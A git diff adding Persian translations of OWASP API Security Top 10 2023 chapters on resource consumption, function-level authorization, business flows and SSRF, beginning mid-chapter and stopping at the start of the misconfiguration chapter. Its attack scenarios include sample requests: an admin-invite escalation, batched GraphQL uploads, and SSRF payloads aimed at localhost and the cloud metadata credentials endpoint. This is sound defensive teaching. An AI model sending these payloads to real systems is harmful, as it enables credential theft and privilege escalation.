سناریوهای حمله + +### سناریو #1 + +یک شبکه اجتماعی بخش "فراموشی رمز عبور" را با استفاده از روش تأییدیه پیامکی پیاده‌سازی کرده است. کاربر پس از دریافت یک توکن یک‌بار مصرف از طریق پیامک، می‌تواند رمز عبور خود را بازنشانی کند. با کلیک بر روی گزینه "فراموشی رمز عبور"، API مرتبط از مرورگر کاربر به API Back-End ارسال می‌شود: + +``` +POST /initiate_forgot_password + +{ + "step": 1, + "user_number": "6501113434" +} +``` + +در پس‌زمینه، یک تماس API از سمت سرور به یک API از شخص ثالثی که وظیفه تحویل پیامک را دارد، ارسال می‌شود: + +``` +POST /sms/send_reset_pass_code + +Host: willyo.net + +{ + "phone_number": "6501113434" +} +``` +سرویس دهنده طرف ثالث با نام willyo ، برای هر تماس از این نوع، مبلغ ۰.۰۵ دلار هزینه می‌کند. مهاجم اسکریپتی می‌نویسد که اولین تماس API را ده‌ها هزار بار ارسال می‌کند. سپس بخش پشتیبانی از طریق درخواست از willyo می‌خواهد تا ده‌ها هزار پیام متنی ارسال کند که سبب می‌شود تا در عرض چند دقیقه هزاران دلار را از دست بدهد. + +### سناریو #2 + +کاربر از طریق GraphQL API می‌تواند تصویر پروفایل خود را بارگذاری کند + +``` +POST /graphql + +{ + "query": "mutation { + uploadPic(name: \"pic1\", base64_pic: \"R0FOIEFOR0xJVA…\") { + url + } + }" +} +``` +بعد از اتمام عملیات بارگذاری تصویر توسط کاربر، API چندین تصویر کوچک با اندازه‌های مختلف از روی تصویر اصلی ایجاد می‌کند. این عملیات گرافیکی نیاز به حافظه زیادی از سرور دارد. API مذکور، از مکانیزم محدودیت نرخ سنتی استفاده می‌کند، به این معنا که یک کاربر نمی‌تواند در یک دوره زمانی کوتاه تعداد زیادی درخواست به تابع انتهایی GraphQL ارسال کند. همچنین، قبل از ایجاد تصاویر کوچک از تصویر بارگذاری شده، اندازه تصویر بارگذاری شده را بررسی می‌کند تا از پردازش تصاویری که بسیار بزرگ هستند جلوگیری کند. مهاجم می‌تواند با ارسال درخواست‌های مختلف و با حجم زیاد، از این مکانیزم‌ها عبور کرده و به تابع انتهایی GraphQL دسترسی پیدا کند: + +``` +POST /graphql + +[ + {"query": "mutation {uploadPic(name: \"pic1\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"}, + {"query": "mutation {uploadPic(name: \"pic2\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"}, + ... + {"query": "mutation {uploadPic(name: \"pic999\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"}, +} +``` +به علت عدم محدودیت در تعداد دفعات انجام عملیات uploadPic، این تماس منجر به اشغال حافظه سرور و وقوع DoD خواهد شد. + +### سناریو #3 + +یک سرویس دهنده، به مشتریان اجازه می‌دهد که با استفاده از API آنها، فایل‌هایی با حجم دلخواه دانلود کنند. این فایل‌ها در فضای ابری ذخیره شده و اغلب تغییری نمی‌کنند. این سرویس دهنده برای بهبود نرخ ارائه خدمات و کاهش مصرف پهنای باند به یک سرویس حافظه‌پنهان مورد اعتماد نیاز دارد. این سرویس فقط فایل‌هایی را ذخیره می‌کند که حداکثر ۱۵ گیگابایت حجم دارند. اگر یکی از فایل‌ها بروزرسانی شده و اندازه آن به ۱۸ گیگابایت افزایش ‌یابد، همه مشتریان سرویس فورا نسخه جدید را دریافت می‌کنند. از آنجا که هیچ هشداری در مورد هزینه مصرفی وجود نداشته و مقدار حداکثری برای هزینه سرویس ابری تعیین نشده بود، صورت‌حساب ماهیانه بعدی از ۱۳ دلار به طور میانگین به ۸ هزار دلار افزایش می‌یابد. + +## چگونه از ‌‌آسیب‌پذیری مصرف بدون محدودیت منابع پیشگیری کنیم؟ + +- محدودسازی [حافظه][1]، [پردازنده][2]، [تعداد دفعات راه اندازی مجدد][3]، [توصیف‌گرهای فایل][4] و پردازه‌‌ها با استفاده از کانتینرها یا کد بدون سرور (مانند Lambdas). +- تعریف و اِعمال بیشینه اندازه داده (نظیر بیشینه طول برای رشته‌‌ها یا بیشینه تعداد عناصر در آرایه‌‌ها) در درخواست‌‌ها و محموله‌‌های ورودی. +- اعمال محدودیت بر تعداد دفعات تعامل با API در یک دوره زمانی مشخص (محدودیت نرخ). +- محدودیت نرخ باید بر اساس نیازهای کسب و کار بهبود یابد. +- محدود کردن تعداد دفعات اجرای عملیات مربوط به یک API توسط یک مشتری/کاربر در زمان مشخص. +- اجرای یک فرآیند اعتبارسنجی دقیق در طرف سرور برای پارامترهایی که به صورت متغیر در رشته‌های پرس‌وجو وجود دارند. +- پیکربندی محدودیت‌ مقدار مصرف برای تمام سرویس دهندگان API. اگر تنظیم محدودیت‌ مقدار مصرف امکان‌پذیر نیست، به جای آن باید هشدارهای مالی پیکربندی شوند. + +## مراجع + +- [Web Service Security Cheat Sheet - OWASP][5] +- [DoS Prevention - GraphQL Cheat Sheet][6] +- [Mitigating Batching Attacks - GraphQL Cheat Sheet][7] + +### خارجی + +- [CWE-770: Allocation of Resources Without Limits or Throttling][8] +- [CWE-400: Uncontrolled Resource Consumption][9] +- [CWE-799: Improper Control of Interaction Frequency][10] +- “Rate Limiting (Throttling)” - [Security Strategies for Microservices-based Application Systems][11], NIST + +[1]: https://docs.docker.com/config/containers/resource_constraints/#memory +[2]: https://docs.docker.com/config/containers/resource_constraints/#cpu +[3]: https://docs.docker.com/engine/reference/commandline/run/#restart +[4]: https://docs.docker.com/engine/reference/commandline/run/#ulimit +[5]: https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html#availability +[6]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#dos-prevention +[7]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#mitigating-batching-attacks +[8]: https://cwe.mitre.org/data/definitions/770.html +[9]: https://cwe.mitre.org/data/definitions/400.html +[10]: https://cwe.mitre.org/data/definitions/799.html +[11]: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204.pdf diff --git a/editions/2023/fa/0xa5-broken-function-level-authorization.md b/editions/2023/fa/0xa5-broken-function-level-authorization.md new file mode 100644 index 000000000..45a951542 --- /dev/null +++ b/editions/2023/fa/0xa5-broken-function-level-authorization.md @@ -0,0 +1,61 @@ +# API5:2023 نقض مجوزدهی در سطح توابع + +| ضعف امنیتی | عوامل تهدید / مسیر حمله | پیامد | +|---------|--------------------|------------| +| خاص API / قابلیت بهره‌برداری: آسان | میزان شیوع: متداول/ قابلیت تشخیص: آسان | پیامد فنی: شدید / خاص کسب و کار | +| بهره برداری از این ‌‌آسیب‌پذیری یعنی ارسال فراخوانی‌های API درست[^1] توسط مهاجم به سوی تابع انتهاییAPI در ارتباط با فراخوانی‌هایی که مهاجم مجوز آنها را ندارد. این Endpointها ممکن است در معرض دید کاربران ناشناس، بدون مجوز یا با مجوز عادی قرار داشته باشند. برای مهاجم تشخیص وجود چنین نواقصی در API آسان تر است چرا که ساختارمندتر بوده و نحوه دسترسی آنها به توابع، قابل پیش بینی تر است (مثلا تغییر متد HTTP از GET به PUT یا تغییر رشته “users” در URL به “admins”). | کنترل‌های مجوزدهی برای توابع یا منابع غالبا در سطح پیکربندی یا کد مدیریت می شوند. بکارگیری کنترل‌های مناسب می‌تواند گیج کننده باشد چرا که اپلیکیشن‌های مدرن امروزی غالبا دارای انواع مختلفی از نقش‌ها و گروه‌ها و سلسله مراتب کاربری هستند (مثلا کاربران دارای بیش از یک نقش). کشف نقائص در API ها به علت ساختار سازمان‌مندتر و همچنین پیش‌بینی‌پذیری بالاتر در دسترسی به توابع مختلف، نسبت به سایر بخش‌های نرم‌افزاری، ساده‌تر است. | چنین مشکلاتی منجر به دسترسی غیرمجاز مهاجم به توابع می‌شود. در این صورت توابع مدیریتی[^2] از جمله اهداف کلیدی مهاجم خواهند بود و ممکن است منجر به افشا، از دست رفتن یا خرابی داده شده و اختلال در خدمات را به دنبال داشته باشد. | + +## آیا API از نظر نقض مجوزدهی در سطح توابع ‌‌آسیب‌پذیر است؟ + +بهترین راه یافتن مشکلات مجوزدهی در سطح توابع، تحلیل عمیق مکانیزم مجوزدهی با لحاظ کردن سلسله مراتب کاربران، نقش‌‌‌ها و گروه‌‌‌های متفاوت موجود در اپلیکیشن و پرسیدن پرسش‌‌‌های زیر است: +- آیا کاربر عادی می‌تواند به توابع و نقاط مدیریتی در API دسترسی داشته باشد؟ +- آیا کاربری می‌تواند عمل حساسی که مجوز انجام آن را ندارد (نظیر ایجاد، تغییر یا حذف) را صرفا با تغییر متد HTTP (مثلا از GET به DELETE) انجام دهد؟ +- آیا کاربری از گروه X می‌تواند صرفا با حدس زدن URLهای توابع و پارامترهای آن به مسیری (نظیر /api/v1/users/export_all) که فقط باید برای کاربران گروه Y قابل مشاهده باشد دسترسی یابد؟ +بایستی در نظر داشت که عادی یا مدیریتی بودن یک تابع در API (همان API Endpoint) صرفا بر مبنای مسیر URL تعیین نمی‌شود. +در حالیکه توسعه دهندگان بیشتر تمایل دارند که توابع مدیریتی را ذیل یک مسیر نسبی معین مانند api/admin قرار دهند، اما بسیار دیده می شود که این توابع مدیریتی در کنار توابع عادی در مسیرهایی نظیر api/users قرار داده شده‌اند. + +## مثال‌‌‌هایی از سناریوهای حمله + +### سناریو #1 + +در خلال فرایند ثبت نام در یک اپلیکیشن که فقط به کاربران دعوت شده اجازه عضویت می‌دهد، اپلیکیشن موبایل، یک فراخوانی API به `GET /api/invites/{invite_guid}` می‌فرستد. پاسخ دریافتی فایل JSONی را دارا است که درون آن اطلاعات دعوتنامه‌‌‌ها شامل نقش کاربر و آدرس ایمیل وی دیده می‌شود. + +مهاجم درخواست مذبور را ضبط کرده و متد HTTP را به `POST /api/invites/new` تغییر می‌دهد. این تابع تنها بایستی از طریق کنسول مدیریت و برای ادمین‌‌‌ها قابل دسترسی باشد که بعلت عدم بکارگیری کنترل‌‌‌های صحیح مجوزدهی درسطح توابع اینگونه نیست. + +در گام بعد مهاجم از این مساله بهره برداری کرده و برای خود دعوتنامه‌ای جهت ساخت یک اکانت ادمین می‌فرستد: + +```http +POST /api/invites/new +{“email”:”hugo@malicious.com””role”:”admin”} +``` + +### سناریو #2 + +یک API دارای تابعی است که فقط ادمین‌‌‌ها بایستی آن را ببینند: +`GET /api/admin/v1/users/all` +این تابع در پاسخ جزئیات تمامی کاربران اپلیکیشن را برگردانده و کنترل‌‌‌های مجوزدهی در سطح توابع را نیز به درستی ‌‌‌‌پیاده‌سازی نکرده است. مهاجمی که با ساختار API آشنایی پیدا کرده، این مسیر را حدس زده و اطلاعات حساس تمامی کاربران اپلیکیشن را می‌رباید. + +## چگونه از ‌‌آسیب‌پذیری نقض مجوزدهی در سطح توابع پیشگیری کنیم؟ + +ماژول مجوزدهی اپلیکیشن بایستی بطور یکپارچه توسط تمامی توابع اپلیکیشن فراخوانی شده و تحلیل آن نیز آسان باشد. همچنین در بیشتر مواقع، این روش حفاطتی توسط یک یا چند مولفه بیرونی و خارج از کد اصلی اپلیکیشن فراهم می‌شود. + +- مکانیزم (های) اعمال شده بایستی بطور پیشفرض کلیه دسترسی‌‌‌ها را Deny (رد) نموده و برای دسترسی به هر یک از توابع، مجوزخاص دسترسی نقش مربوطه را طلب نمایند. +- توابع API از منظر نواقص مجوزدهی در سطح تابع با درنظر گرفتن منطق اپلیکیشن و سلسله مراتب گروه‌‌‌های کاربری مورد بازبینی قرار گیرد. +- تمامی کنترلگرهای مدیریتی از یک کنترلگر مدیریتی انتزاعی که مجوزها را بر حسب نقش کاربر یا گروه پیاده‌سازی نموده، ارث بری داشته باشند. +- تمامی توابع مدیریتی درون یک کنترلگر عادی (غیرمدیریتی)، کنترل‌‌‌های مجوز مبتنی بر نقش کاربر یا گروه را بکارگیرند. +- حصول اطمینان از این که تمام کنترل‌گرهای مدیریتی از یک کنترل‌گر انتزاعی مدیریتی به ارث برده‌ شدند که بر اساس گروه/نقش کاربری عملیات احراز هویت را انجام می‌دهد. +- حصول اطمینان از این که عملیات مدیریتی در داخل یک کنترل‌گر معمولی پس از بررسی‌های احراز هویت بر اساس گروه و نقش کاربر و بر اساس منطق کسب و کار پیاده‌سازی می‌شوند. + +## مراجع +- [Forced Browsing][1] +- "A7: Missing Function Level Access Control", [OWASP Top 10 2013][2] +- [Access Control][3] + +### خارجی + +- [CWE-285: Improper Authorization](https://cwe.mitre.org/data/definitions/285.html) + +[1]: https://owasp.org/www-community/attacks/Forced_browsing +[2]: https://github.com/OWASP/Top10/raw/master/2013/OWASP%20Top%2010%20-%202013.pdf +[3]: https://owasp.org/www-community/Access_Control +[4]: https://cwe.mitre.org/data/definitions/285.html diff --git a/editions/2023/fa/0xa6-unrestricted-access-to-sensitive-business-flows.md b/editions/2023/fa/0xa6-unrestricted-access-to-sensitive-business-flows.md new file mode 100644 index 000000000..d1574299c --- /dev/null +++ b/editions/2023/fa/0xa6-unrestricted-access-to-sensitive-business-flows.md @@ -0,0 +1,58 @@ +# API6:2023 دسترسی نامحدود به جریان‌های حساس کسب و کار + +| ضعف امنیتی | عوامل تهدید / مسیر حمله | پیامد | +|---------|--------------------|------------| +| خاص API / قابلیت بهره‌برداری: آسان | میزان شیوع: گسترده/ قابلیت تشخیص: متوسط | پیامد فنی: متوسط / خاص کسب و کار | +| بهره برداری از این آسیب‌پذیری غالبا نیاز به فهم منطق کسب و کار، روابط مابین اشیا و ساختار API از سوی مهاجم دارد. | نداشتن یک دیدگاه کلی از API برای پشتیبانی کامل از نیازهای کسب و کار به تکرار این مشکلات منجر می‌شود. مهاجمان به صورت دستی منابع هدف(مثلاً نقاط پایان) و چگونگی کارکرد آنها را مشخص می‌کنند. اگر مکانیزم‌های مخصوص جلوگیری از حملات (تعداد دسترسی محدود به API، محدودیت نرخ و غیره) از قبل وجود داشته باشند، مهاجمان باید راهی برای دور زدن آنها پیدا کنند. | بطور کلی بهره‌برداری از این آسیب‌پذیری نباید تأثیرات فنی داشته باشد. اما مواردی مانند عدم امکان خرید محصول توسط کاربران معتبر یا ایجاد تورم در اقتصاد داخلی نیز ممکن است پیامد این آسیب‌پذیری باشند. | + +## آیا API از نظر دسترسی بدون محدودیت به جریان‌های کسب‌وکار حساس ‌‌‌آسیب‌پذیر است؟ + +در زمان ایجاد یک API Endpoint، باید مشخص شود چه جریان کاری‌ای افشا می‌شود. برخی از جریان‌های کاری نسبت به دیگران حساس‌تر هستند، به معنای اینکه دسترسی به آنها بیش از حد مجاز ممکن است به کسب و کار آسیب بزند. + +نمونه‌‌‌هایی از «ویژگی‌‌‌های حساس» عبارتند از: + +- جریان خرید محصول - مهاجم می‌تواند به یک‌باره تمام موجودی یک محصول با تقاضای بالا را خریداری کرده و سپس آن محصول را با قیمت بالاتری مجدداً بفروشد (scalping). +- جریان ایجاد نظر یا پست - مهاجم ممکن است سیستم را با ارسال نظرات یا پست‌های مکرر دچار مشکل کند. +- جریان رزرو کردن - مهاجم می‌تواند تمام بازه‌های زمانی موجود را رزرو کرده و مانع استفاده دیگر کاربران شود. + +خطر دسترسی بیش از حد، بین صنایع و کسب و کارهای مختلف متغیر است. به عنوان مثال، ایجاد پست‌ توسط یک اسکریپت ممکن است در یک شبکه اجتماعی به عنوان خطر اسپم در نظر گرفته شود، اما درشبکه اجتماعی دیگر تشویق شود. +اگر یک تابع انتهایی API امکان دسترسی بیش از حد به یک جریان کسب و کار حساس را فراهم ‌کند، در معرض حملات و سوءاستفاده‌ مهاجمان خواهد بود. + +## مثال‌‌‌هایی از سناریوهای حمله + +### سناریو #1 + +یک شرکت فناوری اعلام می‌کند که قصد دارد یک کنسول بازی جدید را در روز شکرگزاری منتشر کند. این محصول تقاضای بسیار بالا و موجودی محدودی دارد. مهاجم کدی می‌نویسد تا به صورت خودکار محصول جدید را بخرد. +در روز انتشار، مهاجم کد را از طریق آدرس IPها و مکان‌های مختلف اجرا می‌کند. تابع انتهایی API اقدامات حفاظتی مناسبی را پیاده‌سازی نکرده و درنتیجه به مهاجم این امکان را می‌دهد که بیشترین تعداد ممکن از موجودی را قبل از سایر کاربران معتبر بخرد. + +### سناریو #2 + +یک شرکت هواپیمایی خدمات مربوط به خرید بلیط آنلاین را بدون هیچ گونه هزینه‌ی لغو خرید، به کاربران ارائه می‌دهد. یک کاربر، 90٪ از صندلی‌های پرواز مورد نظر را رزرو می‌کند. +چند روز پیش از پرواز، کاربر مذکور، همه بلیط‌ها را یک‌جا لغو می‌کند، که باعث می‌شود شرکت هواپیمایی برای پر کردن پرواز، مجبور شود بلیط‌ها را با تخفیف بفروشد. در این حالت، کاربر می‌تواند یک بلیط به قیمت بسیار ارزان‌تر از بلیط اصلی بخرد. + +### سناریو #3 + +یک اپلیکیشن سفر اشتراکی برنامه‌ای برای معرفی دوستان دارد. کاربران می‌توانند دوستان خود را دعوت کرده و برای هر دوستی که به اپلیکیشن بپیوندد، اعتبار دریافت کنند. این اعتبار بعداً می‌تواند به عنوان وجه نقد برای رزرو سفرها استفاده شود. مهاجم با نوشتن یک اسکریپت فرآیند ثبت‌نام را به صورت خودکار انجام می‌دهد و با هر فرآیند ثبت‌نام کاربر جدید، اعتباری به کیف پولش اضافه می‌شود. مهاجم بعداً می‌تواند از سفرهای رایگان بهره‌برداری کرده یا حساب‌هایی با اعتبارهای اضافی را در ازای پول نقد بفروشد. + +## چگونه از ‌‌‌آسیب‌پذیری دسترسی بدون محدودیت به جریان‌های کسب‌وکار حساس پیشگیری کنیم؟ + +برنامه‌ریزی برای کاهش تهدیدات در دو لایه باید انجام شود: + +- در لایه کسب و کار، باید جریان‌های کسب و کار حساسی را شناسایی کنیم که اگر به صورت نرم‌افرازی استفاده شوند، ممکن است به کسب‌وکار آسیب بزنند. +- در لایه مهندسی، مکانیزم‌های حفاظتی مناسبی را برای کاهش خطرهای لایه کسب و کار انتخاب می‌کنیم. + +در این قسمت به مکانیزم‌های حفاظتی مختلف برای کاهش تهدیدات خودکار اشاره شده است. برخی از این مکانیزم‌ها ساده‌تر هستند و برخی دیگر پیچیده‌تر. روش‌های مختلفی برای کاهش سرعت تهدیدات خودکار مورد استفاده قرار می‌گیرد: + +- شناسایی دستگاه: این روش از طریق شناسایی و ممنوعیت دسترسی به دستگاه‌های ناشناخته می‌تواند مهاجمان را وادار به استفاده از راهکارهای پیچیده‌تری کند که برای آنها هزینه بیشتری دارد. مثلاً، سیستم ممکن است دسترسی مرورگرهای بدون رابط کاربری را ممنوع کند. +- شناسایی انسان: از راهکارهایی مانند Captcha یا راهکارهای بیومتریک پیشرفته‌تر مانند الگوهای تایپ کردن برای شناسایی کاربران انسانی استفاده می‌شود. +- الگوهای غیرانسانی: با تجزیه و تحلیل الگوهای عملکرد کاربران می‌توان الگوهای غیرانسانی را شناسایی کرد. به عنوان مثال، دسترسی کاربر به عملیات "افزودن به سبد خرید" و "تکمیل خرید" در کمتر از یک ثانیه، ممکن است نشانه‌ای از الگوی غیرانسانی باشد. +- مسدود کردن آدرس‌های IP از گره‌های خروجی Tor و پروکسی‌های معروف: این روش به مسدود کردن آدرس‌های IP مخصوص می‌پردازد که ممکن است توسط مهاجمان مورد استفاده قرار گیرد. +- محدود کردن دسترسی به API‌های مصرفی مستقیم توسط دستگاه‌ها (مانند API‌های توسعه‌دهندگان و B2B) مهاجمان را از دسترسی آسان به این API‌ها بازمی‌دارد. از آن‌جایی که این نوع API‌ها اغلب تمام مکانیزم‌های حفاظتی مورد نیاز را پیاده‌سازی نمی‌کنند، معمولا برای مهاجمان هدف آسانی می‌باشند. + +## مراجع + +- [OWASP Automated Threats to Web Applications][1] +- [API10:2019 Insufficient Logging & Monitoring][2] + +[1]: https://owasp.org/www-project-automated-threats-to-web-applications/ +[2]: https://owasp.org/API-Security/editions/2019/en/0xaa-insufficient-logging-monitoring/ diff --git a/editions/2023/fa/0xa7-server-side-request-forgery.md b/editions/2023/fa/0xa7-server-side-request-forgery.md new file mode 100644 index 000000000..1cfd72555 --- /dev/null +++ b/editions/2023/fa/0xa7-server-side-request-forgery.md @@ -0,0 +1,127 @@ +# API7:2023 جعل درخواست در سمت سرور(SSRF) + +| ضعف امنیتی | عوامل تهدید / مسیر حمله | پیامد | +|---------|--------------------|------------| +| خاص API / قابلیت بهره‌برداری: آسان | میزان شیوع: متداول/ قابلیت تشخیص: آسان | پیامد فنی: متوسط / خاص کسب و کار | +| برای بهره‌برداری از این آسیب‌پذیری، مهاجم تابع انتهایی APIی را پیدا کند که به URI مشتری، دسترسی می‌دهد. به طور کلی، SSRF ابتدایی (که بر مبنای feedback حاصل از موفقیت یا شکست حمله طراحی شده) نسبت به SSRF کور راحت‌تر بهره‌برداری می‌شود. | مفاهیم جدید در توسعه نرم‌افزارها، توسعه‌دهندگان را تشویق می‌کنند تا از URI های ارائه شده توسط مشتریان استفاده کنند. یکی از مشکلات رایج در اینجا این است که URI ارائه شده توسط مشتری به درستی اعتبارسنجی نشده یا اصلاح نشده باشند. برای تشخیص این مشکل، درخواست‌ها و پاسخ‌های API در روند توسعه و تست برنامه باید تجزیه و تحلیل شوند. وقتی که پاسخی به مشتری برنگشت داده نمی‌شود (مثل SSRF کور)، تشخیص و رفع آسیب‌پذیری نیاز به تلاش و خلاقیت بیشتری دارد. | اگر مهاجمی حمله SSRF را با موفقیت انجام دهد، ممکن است به نتایجی نظیر شناسایی خدمات داخلی سرور (مانند اسکن پورت‌ها)، دسترسی به اطلاعات محرمانه افشا شده، دور زدن دیواره‌ی آتش‌ و دیگر مکانیزم‌های امنیتی دست یابد. در برخی موارد، این نوع حمله می‌تواند منجر به اختلال در ارائه سرویس (DoS) شود و باعث شود مهاجم از سرور به عنوان یک پروکسی برای پنهان کردن فعالیت‌های مخرب استفاده کند. | + +## آیا API از نظر جعل درخواست در سمت سرور ‌‌‌آسیب‌پذیر است؟ + +این آسیب‌پذیری زمانی رخ می‌دهد که یک API بدون اعتبارسنجی URL کاربر، منبعی را از راه دور درخواست می‌کند. این مسئله به مهاجم این امکان را می‌دهد تا اپلیکیشن را وادار کند حتی در صورت داشتن دیوار آتش یا شبکه خصوصی مجازی، درخواست‌هایی ساختگی ایجاد کرده و به مقصدی دور از انتظار ارسال کند. +مفاهیم مدرن در توسعه برنامه‌ها باعث می‌شود که مشکلات مربوط به این آسیب‌پذیری رایج‌تر و خطرناک‌تر شوند. +- موارد رایج‌تر: مفاهیم زیر، توسعه‌دهندگان را تشویق می‌کنند تا براساس ورودی کاربر به منابع خارجی دسترسی پیدا کنند: وب‌هوک‌ها، دریافت فایل از URLها، سفارشی‌سازی SSO و پیش‌نمایش URLها. +- موارد خطرناک‌تر: فناوری‌های مدرن مانند ارائه‌دهندگان فضای ابری، Kubernetes و Docker امکان قرارگیری رابط‌های مدیریت و کنترل را از طریق HTTP روی مسیرهای پیش‌بینی‌پذیر و شناخته‌شده فراهم آورده‌اند. این کانال‌ها مورد هدف مستقیم مهاجمان برای حملات SSRF قرار می‌گیرند. +در برنامه‌های مدرن که ارتباطات پیوسته و بدون وقفه با سایر اجزای سیستم دارند، کنترل ترافیک خروجی از برنامه به دلیل پیچیدگی ارتباطات بیشتر چالش‌برانگیز‌ است. +خطر SSRF نمی‌تواند به طور کامل از بین برود. بنابراین در هنگام انتخاب یک مکانیزم حفاظتی، مهم است که خطرات و نیازهای تجاری را در نظر گرفت. + +## مثال‌‌‌‌هایی از سناریوهای حمله + +### سناریو #1 + +یک شبکه اجتماعی به کاربران امکان بارگذاری تصویر برای پروفایل کاربری خود را می‌دهد. کاربر می‌تواند تصویر را از دستگاه بارگذاری کرده یا URL آن را وارد کند. در صورت وارد کردن URL، API زیر فراخوانی می‌شود: + +```http +POST /api/profile/upload_picture + +{ + "picture_url": "http://example.com/profile_pic.jpg" +} +``` + +مهاجم می‌تواند URL مخربی را ارسال کرده و با استفاده از تابع انتهایی API، پورت‌های شبکه داخلی را اسکن کند: + +```http +{ + "picture_url": "localhost:8080" +} +``` + +بر اساس زمان پاسخ‌دهی، مهاجم می‌تواند بفهمد که پورت باز است یا خیر. + +### سناریو #2 + +یک محصول امنیتی طوری طراحی شده که وقتی ناهنجاری‌هایی را در شبکه تشخیص دهد، رویدادهای متناسب با آن را تولید می‌کند. برخی از تیم‌ها ترجیح می‌دهند که این رویدادها را در یک سیستم نظارتی عمومی و کلان‌تر مانند SIEM (مدیریت اطلاعات و رویداد امنیتی) بررسی کنند. به این منظور، محصول امنیتی با استفاده از وب‌هوک‌ها امکان ادغام با سایر سیستم‌ها را فراهم می‌آورد. + +در جریان ایجاد یک وب‌هوک جدید، یک تغییر GraphQL ارسال می‌شود که شامل مسیر تابع انتهایی SIEM است: + +```graphql +POST /graphql + +[ + { + "variables": {} + "query": "mutation { + createNotificationChannel(input: { + channelName: "ch_piney" + notificationChannelConfig: { + customWebhookChannelConfigs: [ + { + url: "http://www.siem-system.com/create_new_event" + send_test_req: true + } + ] + } + }){ + channelId + } + }" + } +] +``` + +در طول فرآیند ایجاد وب‌هوک، API پشتیبانی یک درخواست آزمایشی به URL وب‌هوک ارائه شده، ارسال می‌کند و پاسخ را به کاربر نشان می‌دهد. +مهاجم می‌تواند از این فرآیند بهره برده و درخواست API را به منبعی حساس، مانند یک سرویس فهرست متادیتای ابر داخلی که شامل اطلاعات ورود به حساب‌های کاربری است، تغییر دهد: + +```graphql +POST /graphql + +[ + { + "variables": {} + "query": "mutation { + createNotificationChannel(input: { + channelName: "ch_piney" + notificationChannelConfig: { + customWebhookChannelConfigs: [ + { + url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-ssm" + send_test_req: true + } + ] + } + }) { + channelId + } + } + } +] +``` + +وقتی برنامه پاسخ این درخواست آزمایشی را ارسال می‌کند، مهاجم می‌تواند اطلاعات ورود به حساب کاربری در محیط ابری را مشاهده کند. + +## چگونه از ‌‌‌آسیب‌پذیری جعل درخواست در سمت سرور پیشگیری کنیم؟ + +- جداسازی مکانیزم بازیابی منابع در شبکه‌: محدود کردن امکان دسترسی به منابع داخلی شبکه توسط مکانیزم‌هایی که برای بازیابی منابع از راه دور طراحی شده‌اند. +- در صورت امکان، از لیست‌های مجاز استفاده شود. + - الگوهای URL و پورت‌ها + - انواع رسانه‌های مجاز برای قابلیت‌های خاص + - غیرفعال کردن بازنشانی‌های HTTP +- استفاده از یک تجزیه‌کننده URL امتحان شده برای جلوگیری از مشکلات ناشی از عدم انطباق در تجزیه URL +- اعتبارسنجی و پاکسازی تمام داده‌های ورودی از سوی مشتری +- عدم ارسال داده خام به مشتری + +## مراجع + +- [OWASP](https://owasp.org/) +- [Server Side Request Forgery][1] +- [Server-Side Request Forgery Prevention Cheat Sheet][2] + +### خارجی + +- [CWE-918: Server-Side Request Forgery (SSRF)][3] +- [URL confusion vulnerabilities in the wild: Exploring parser inconsistencies,Snyk][4] + +[1]: https://owasp.org/www-community/attacks/Server_Side_Request_Forgery +[2]: https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html +[3]: https://cwe.mitre.org/data/definitions/918.html +[4]: https://snyk.io/blog/url-confusion-vulnerabilities/ \ No newline at end of file diff --git a/editions/2023/fa/0xa8-security-misconfiguration.md b/editions/2023/fa/0xa8-security-misconfiguration.md new file mode 100644 index 000000000..328d33bfb --- /dev/null +++ b/editions/2023/fa/0xa8-security-misconfiguration.md @@ -0,0 +1,95 @@ +# API8:2023 پیکربندی امنیتی نادرست + +| ضعف امنیتی | عوامل تهدید / مسیر حمله | پیامد | +|---------|--------------------|------------| +| خاص API / قابلیت بهره‌برداری: آسان | میزان شیوع: گسترده/ قابلیت تشخیص: آسان | پیامد فنی: متوسط / خاص کسب و کار +| مهاجمین غالبا در تلاش برای یافتن حفره‌های وصله نشده، توابع رایج یا فایل‌ها و مسیرهای محافظت نشده به منظور دسترسی غیرمجاز به سیستم هستند. اطلاعات و تکنیک‌های مرتبط با این مسائل به طور عمومی در دسترس بوده و احتمال وقوع حمله در مورد آنها وجود دارد. | پیکربندی امنیتی نادرست می‌تواند در هر سطحی از API، از سطح شبکه تا سطح اپلیکشن روی دهد. ابزارهای خودکاری وجود دارند که فرایند تشخیص و بهره برداری از پیکربندی‌های نادرست نظیر تشخیص سرویس‌های غیرضروری را انجام می‌دهند. | پیکربندی امنیتی نادرست نه تنها می‌تواند اطلاعات حساس کاربر را افشا کند بلکه جزئیاتی از سیستم که ممکن است به از دست رفتن کامل سرور منجر شود را نیز در معرض خطر قرار می‌دهد. | + +## آیا API از نظر پیکربندی امنیتی نادرست‌‌‌آسیب‌پذیر است؟ + +API از منظر پیکربندی امنیتی نادرست ‌‌‌آسیب‌پذیر است اگر: + +- ایمن سازی امنیتی مناسب در هر قسمت از پشته اپلیکیشن رعایت نشده یا اپلیکیشن مجوزهای با پیکربندی نادرست روی سرویس‌‌‌‌های ابری داشته باشد. +- جدیدترین وصله‌‌‌‌های امنیتی نصب نشده و سیستم‌‌‌‌ها کاملا بروز نباشند. +- ویژگی غیرضروری (نظیر Verb اضافی HTTP) فعال باشند. +- تفاوت‌هایی در نحوه پردازش درخواست‌های ورودی توسط سرورها در زنجیره سرور HTTP وجود داشته باشد. +- امنیت لایه انتقال (TLS) غیرفعال باشد. +- دستورات و الزامات امنیتی (نظیر سرایندهای امنیتی) به سوی کلاینت ارسال نشوند. +- خط مشی اشتراک متقابل منابع (CORS) وجود نداشته یا به درستی ‌پیاده‌سازی نشده باشد. +- پیام‌‌‌‌های خطا ردپای پشته یا اطلاعات حساس دیگر را افشا نمایند. + +## مثال‌‌‌‌هایی از سناریوهای حمله + +### سناریو #1 + +سروری از API یک نرم‌افزار ثبت دسترسی معتبر و متن‌باز با قابلیت توسعه و پشتیبانی از جستجوهای JNDI (واسطه نام‌گذاری و دایرکتوری 